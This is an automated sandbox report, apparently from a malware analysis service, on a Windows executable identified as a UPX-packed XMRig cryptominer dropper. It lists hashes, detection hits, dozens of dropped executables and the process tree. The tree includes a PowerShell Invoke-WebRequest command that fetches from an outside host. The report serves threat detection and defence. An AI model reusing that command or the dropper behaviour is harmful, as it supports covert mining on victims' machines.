xmrig | 57e223538e1b8f1e46f6590e0dc994a87b200b375fcc70f39b3b5fd67f30cec0

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
02/08/2024, 01:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3822a6edd5297e238dd41e3dd1d7b220N.exe
Size

1.3MB
MD5

3822a6edd5297e238dd41e3dd1d7b220
SHA1

37859632bd61222d42362776979e0ae3afe9dba5
SHA256

57e223538e1b8f1e46f6590e0dc994a87b200b375fcc70f39b3b5fd67f30cec0
SHA512

f8e53b9903b8c271726bd7aa73d3f34c2f218e86f011e8c11ae182a344cfaca82b058792df649943ec8709f1c9ff4c52d24261fcd5fe8d1c16ea7c701493677b
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZGCpPxPcRht2:Lz071uv4BPMkibTIA5JnV2t2

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 22 IoCs

miner

resource	yara_rule
behavioral1/memory/2944-41-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	xmrig
behavioral1/memory/2836-55-0x000000013F910000-0x000000013FD02000-memory.dmp	xmrig
behavioral1/memory/2772-76-0x000000013FD30000-0x0000000140122000-memory.dmp	xmrig
behavioral1/memory/2204-89-0x000000013F150000-0x000000013F542000-memory.dmp	xmrig
behavioral1/memory/2968-86-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/1732-98-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/1624-94-0x000000013F5E0000-0x000000013F9D2000-memory.dmp	xmrig
behavioral1/memory/2780-84-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/2436-81-0x000000013FA50000-0x000000013FE42000-memory.dmp	xmrig
behavioral1/memory/2924-79-0x000000013F670000-0x000000013FA62000-memory.dmp	xmrig
behavioral1/memory/2772-5040-0x000000013FD30000-0x0000000140122000-memory.dmp	xmrig
behavioral1/memory/2836-5370-0x000000013F910000-0x000000013FD02000-memory.dmp	xmrig
behavioral1/memory/2780-5368-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/1732-5367-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/1624-5364-0x000000013F5E0000-0x000000013F9D2000-memory.dmp	xmrig
behavioral1/memory/2924-5363-0x000000013F670000-0x000000013FA62000-memory.dmp	xmrig
behavioral1/memory/2944-5037-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	xmrig
behavioral1/memory/2204-5036-0x000000013F150000-0x000000013F542000-memory.dmp	xmrig
behavioral1/memory/2968-5033-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/2436-5031-0x000000013FA50000-0x000000013FE42000-memory.dmp	xmrig
behavioral1/memory/2768-5029-0x000000013F5A0000-0x000000013F992000-memory.dmp	xmrig
behavioral1/memory/588-11730-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2944	wsnojsd.exe
2768	hVxxROs.exe
2836	iBkABMi.exe
2772	yaSkAVK.exe
2924	zIKlTPv.exe
2436	mLZjDdI.exe
2780	AdLmvJK.exe
2968	yBeMJVx.exe
1732	JEwFplL.exe
2204	cDdqDxP.exe
1624	CAfvOxC.exe
2716	fwatTRg.exe
896	JsNRfYZ.exe
1896	fcLteGo.exe
2872	PTxycer.exe
2956	KHWrtJw.exe
2996	xTVTwVF.exe
2508	BnIQTix.exe
1124	KXQkpEJ.exe
2124	yxpCcQE.exe
2272	sBOYMQE.exe
2380	QxqjDNP.exe
2404	YjWrCgT.exe
2572	CaFpSUc.exe
768	tIzLOiO.exe
2068	EJnPeCh.exe
1796	qjQAAGL.exe
1992	OWtaMOj.exe
1616	KcHQFLH.exe
2196	sAEelSB.exe
544	tlrquGU.exe
448	yTUzmCM.exe
1748	uVxkhAV.exe
2252	xrcWTym.exe
2428	OOodbMx.exe
1044	mXvYsIh.exe
772	jCPvYxS.exe
1168	IMThBrL.exe
2440	LUOyNJy.exe
1548	cGRHVVB.exe
2580	lNgUgit.exe
1952	JPJdGfH.exe
2308	GnSsBVX.exe
2096	zqFfQCt.exe
2544	zHTCSAN.exe
2524	niaMMym.exe
2092	uXTYaye.exe
2060	CTkNIzM.exe
2448	bcJdcjx.exe
1600	tcnwfNO.exe
2828	ACLSNKD.exe
1652	gcXbfgv.exe
2728	yWVuBUf.exe
2860	edQendh.exe
1644	jkKBACj.exe
2816	eNampco.exe
2744	jBRcVNg.exe
2788	ywEZzyb.exe
2636	IgqQIYA.exe
2696	CYkbvcR.exe
2848	YGdsqTh.exe
2240	aTEWCeN.exe
2948	XPwhdsp.exe
2708	LoUpfwV.exe

Loads dropped DLL 64 IoCs

pid	Process
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe
588	3822a6edd5297e238dd41e3dd1d7b220N.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/588-0-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/files/0x00080000000120fd-6.dat	upx
behavioral1/files/0x000f00000001932d-15.dat	upx
behavioral1/files/0x0007000000004e76-19.dat	upx
behavioral1/files/0x00070000000193b3-27.dat	upx
behavioral1/files/0x00060000000193e8-30.dat	upx
behavioral1/files/0x00060000000193f7-35.dat	upx
behavioral1/files/0x00080000000194c4-40.dat	upx
behavioral1/files/0x000600000001949e-39.dat	upx
behavioral1/files/0x000900000001939b-23.dat	upx
behavioral1/memory/2768-42-0x000000013F5A0000-0x000000013F992000-memory.dmp	upx
behavioral1/memory/2944-41-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	upx
behavioral1/memory/2836-55-0x000000013F910000-0x000000013FD02000-memory.dmp	upx
behavioral1/files/0x003000000001926b-57.dat	upx
behavioral1/memory/2772-76-0x000000013FD30000-0x0000000140122000-memory.dmp	upx
behavioral1/memory/2204-89-0x000000013F150000-0x000000013F542000-memory.dmp	upx
behavioral1/memory/2968-86-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/files/0x000500000001a427-114.dat	upx
behavioral1/files/0x000500000001a49a-137.dat	upx
behavioral1/files/0x000500000001a48d-131.dat	upx
behavioral1/files/0x000500000001a46f-123.dat	upx
behavioral1/files/0x000500000001a41b-105.dat	upx
behavioral1/files/0x000500000001a359-100.dat	upx
behavioral1/files/0x000500000001a4b3-153.dat	upx
behavioral1/files/0x000500000001a4b7-158.dat	upx
behavioral1/files/0x000500000001a4bb-167.dat	upx
behavioral1/files/0x000500000001a4c3-178.dat	upx
behavioral1/files/0x000500000001a4c7-188.dat	upx
behavioral1/files/0x000500000001a4bf-179.dat	upx
behavioral1/files/0x000500000001a4af-146.dat	upx
behavioral1/memory/1732-98-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/1624-94-0x000000013F5E0000-0x000000013F9D2000-memory.dmp	upx
behavioral1/memory/2780-84-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/files/0x000500000001a09e-82.dat	upx
behavioral1/memory/2436-81-0x000000013FA50000-0x000000013FE42000-memory.dmp	upx
behavioral1/files/0x000500000001a41e-110.dat	upx
behavioral1/memory/2924-79-0x000000013F670000-0x000000013FA62000-memory.dmp	upx
behavioral1/files/0x000500000001a4bd-169.dat	upx
behavioral1/files/0x000500000001a4b9-162.dat	upx
behavioral1/files/0x000500000001a4c5-183.dat	upx
behavioral1/files/0x000500000001a4c1-175.dat	upx
behavioral1/files/0x000500000001a4b5-155.dat	upx
behavioral1/files/0x000500000001a4b1-148.dat	upx
behavioral1/files/0x000500000001a4a9-141.dat	upx
behavioral1/files/0x000500000001a499-133.dat	upx
behavioral1/files/0x000500000001a48b-125.dat	upx
behavioral1/files/0x000500000001a42d-118.dat	upx
behavioral1/files/0x000500000001a307-75.dat	upx
behavioral1/files/0x00070000000194cd-64.dat	upx
behavioral1/memory/2772-5040-0x000000013FD30000-0x0000000140122000-memory.dmp	upx
behavioral1/memory/2836-5370-0x000000013F910000-0x000000013FD02000-memory.dmp	upx
behavioral1/memory/2780-5368-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/memory/1732-5367-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/1624-5364-0x000000013F5E0000-0x000000013F9D2000-memory.dmp	upx
behavioral1/memory/2924-5363-0x000000013F670000-0x000000013FA62000-memory.dmp	upx
behavioral1/memory/2944-5037-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	upx
behavioral1/memory/2204-5036-0x000000013F150000-0x000000013F542000-memory.dmp	upx
behavioral1/memory/2968-5033-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/memory/2436-5031-0x000000013FA50000-0x000000013FE42000-memory.dmp	upx
behavioral1/memory/2768-5029-0x000000013F5A0000-0x000000013F992000-memory.dmp	upx
behavioral1/memory/588-11730-0x000000013FE90000-0x0000000140282000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\XQdlhNf.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\LBGCajt.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\VZKomnQ.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\qNRrizw.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\YXTlgsz.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\rnXQKSY.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\jBsdvcP.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\oDgKRXy.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\NLAVNjI.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\sYbjVhm.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\VpZrShX.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\sfKruhz.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\BCpvFQF.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\TLOIQsO.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\LESAyVE.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\DYvBANR.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\aEuwNHc.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\ObJgSkH.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\WQhKmDK.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\PRBBvCP.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\omoYOBZ.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\aNImYIl.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\RgQaAWT.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\utjoSAO.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\gcHMaHe.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\cIHQGwc.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\mkMkxLh.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\IUUJARM.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\zbgwyqs.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\CofnNNA.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\YPCwHRD.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\qDTKAcU.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\GaezjGf.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\JUMjDlA.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\AdwNoJh.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\nLtOQcy.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\HWnlAxg.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\vFbNhSz.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\CIzJwuJ.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\ojnfNWa.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\MpVsAzW.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\hmjRTOW.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\vTMiufm.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\rSkQgDb.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\bLJVvQm.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\JUruxVl.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\TgGjjpu.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\AvqpEBx.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\mTNDjFi.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\GrihThm.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\ypXeBXB.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\nrqSLuc.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\VjRiNCq.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\mbTkUZr.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\qPBkXOI.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\fhWMiLC.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\epuPizv.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\nZCPZyE.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\MWBOmTV.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\LoViEdO.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\QHIYTtA.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\wuhEAuw.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\hQeNcwF.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe
File created	C:\Windows\System\WIvFEvc.exe	3822a6edd5297e238dd41e3dd1d7b220N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	588	3822a6edd5297e238dd41e3dd1d7b220N.exe
Token: SeLockMemoryPrivilege	588	3822a6edd5297e238dd41e3dd1d7b220N.exe
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 588 wrote to memory of 2704	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	30
PID 588 wrote to memory of 2704	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	30
PID 588 wrote to memory of 2704	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	30
PID 588 wrote to memory of 2944	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	31
PID 588 wrote to memory of 2944	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	31
PID 588 wrote to memory of 2944	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	31
PID 588 wrote to memory of 2768	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	32
PID 588 wrote to memory of 2768	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	32
PID 588 wrote to memory of 2768	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	32
PID 588 wrote to memory of 2836	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	33
PID 588 wrote to memory of 2836	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	33
PID 588 wrote to memory of 2836	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	33
PID 588 wrote to memory of 2772	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	34
PID 588 wrote to memory of 2772	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	34
PID 588 wrote to memory of 2772	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	34
PID 588 wrote to memory of 2924	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	35
PID 588 wrote to memory of 2924	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	35
PID 588 wrote to memory of 2924	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	35
PID 588 wrote to memory of 2436	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	36
PID 588 wrote to memory of 2436	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	36
PID 588 wrote to memory of 2436	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	36
PID 588 wrote to memory of 2780	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	37
PID 588 wrote to memory of 2780	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	37
PID 588 wrote to memory of 2780	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	37
PID 588 wrote to memory of 2968	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	38
PID 588 wrote to memory of 2968	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	38
PID 588 wrote to memory of 2968	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	38
PID 588 wrote to memory of 1732	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	39
PID 588 wrote to memory of 1732	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	39
PID 588 wrote to memory of 1732	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	39
PID 588 wrote to memory of 2204	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	40
PID 588 wrote to memory of 2204	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	40
PID 588 wrote to memory of 2204	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	40
PID 588 wrote to memory of 1624	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	41
PID 588 wrote to memory of 1624	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	41
PID 588 wrote to memory of 1624	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	41
PID 588 wrote to memory of 896	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	42
PID 588 wrote to memory of 896	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	42
PID 588 wrote to memory of 896	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	42
PID 588 wrote to memory of 2716	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	43
PID 588 wrote to memory of 2716	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	43
PID 588 wrote to memory of 2716	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	43
PID 588 wrote to memory of 1896	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	44
PID 588 wrote to memory of 1896	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	44
PID 588 wrote to memory of 1896	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	44
PID 588 wrote to memory of 2872	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	45
PID 588 wrote to memory of 2872	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	45
PID 588 wrote to memory of 2872	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	45
PID 588 wrote to memory of 2956	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	46
PID 588 wrote to memory of 2956	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	46
PID 588 wrote to memory of 2956	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	46
PID 588 wrote to memory of 2996	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	47
PID 588 wrote to memory of 2996	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	47
PID 588 wrote to memory of 2996	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	47
PID 588 wrote to memory of 544	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	48
PID 588 wrote to memory of 544	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	48
PID 588 wrote to memory of 544	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	48
PID 588 wrote to memory of 2508	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	49
PID 588 wrote to memory of 2508	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	49
PID 588 wrote to memory of 2508	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	49
PID 588 wrote to memory of 448	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	50
PID 588 wrote to memory of 448	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	50
PID 588 wrote to memory of 448	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	50
PID 588 wrote to memory of 1124	588	3822a6edd5297e238dd41e3dd1d7b220N.exe	51

C:\Users\Admin\AppData\Local\Temp\3822a6edd5297e238dd41e3dd1d7b220N.exe
"C:\Users\Admin\AppData\Local\Temp\3822a6edd5297e238dd41e3dd1d7b220N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\System\wsnojsd.exe
  C:\Windows\System\wsnojsd.exe
  2⤵
  - Executes dropped EXE
  PID:2944
- C:\Windows\System\hVxxROs.exe
  C:\Windows\System\hVxxROs.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\iBkABMi.exe
  C:\Windows\System\iBkABMi.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\yaSkAVK.exe
  C:\Windows\System\yaSkAVK.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\zIKlTPv.exe
  C:\Windows\System\zIKlTPv.exe
  2⤵
  - Executes dropped EXE
  PID:2924
- C:\Windows\System\mLZjDdI.exe
  C:\Windows\System\mLZjDdI.exe
  2⤵
  - Executes dropped EXE
  PID:2436
- C:\Windows\System\AdLmvJK.exe
  C:\Windows\System\AdLmvJK.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\yBeMJVx.exe
  C:\Windows\System\yBeMJVx.exe
  2⤵
  - Executes dropped EXE
  PID:2968
- C:\Windows\System\JEwFplL.exe
  C:\Windows\System\JEwFplL.exe
  2⤵
  - Executes dropped EXE
  PID:1732
- C:\Windows\System\cDdqDxP.exe
  C:\Windows\System\cDdqDxP.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\CAfvOxC.exe
  C:\Windows\System\CAfvOxC.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\JsNRfYZ.exe
  C:\Windows\System\JsNRfYZ.exe
  2⤵
  - Executes dropped EXE
  PID:896
- C:\Windows\System\fwatTRg.exe
  C:\Windows\System\fwatTRg.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\fcLteGo.exe
  C:\Windows\System\fcLteGo.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\PTxycer.exe
  C:\Windows\System\PTxycer.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\KHWrtJw.exe
  C:\Windows\System\KHWrtJw.exe
  2⤵
  - Executes dropped EXE
  PID:2956
- C:\Windows\System\xTVTwVF.exe
  C:\Windows\System\xTVTwVF.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\tlrquGU.exe
  C:\Windows\System\tlrquGU.exe
  2⤵
  - Executes dropped EXE
  PID:544
- C:\Windows\System\BnIQTix.exe
  C:\Windows\System\BnIQTix.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\yTUzmCM.exe
  C:\Windows\System\yTUzmCM.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\KXQkpEJ.exe
  C:\Windows\System\KXQkpEJ.exe
  2⤵
  - Executes dropped EXE
  PID:1124
- C:\Windows\System\uVxkhAV.exe
  C:\Windows\System\uVxkhAV.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\yxpCcQE.exe
  C:\Windows\System\yxpCcQE.exe
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Windows\System\xrcWTym.exe
  C:\Windows\System\xrcWTym.exe
  2⤵
  - Executes dropped EXE
  PID:2252
- C:\Windows\System\sBOYMQE.exe
  C:\Windows\System\sBOYMQE.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\OOodbMx.exe
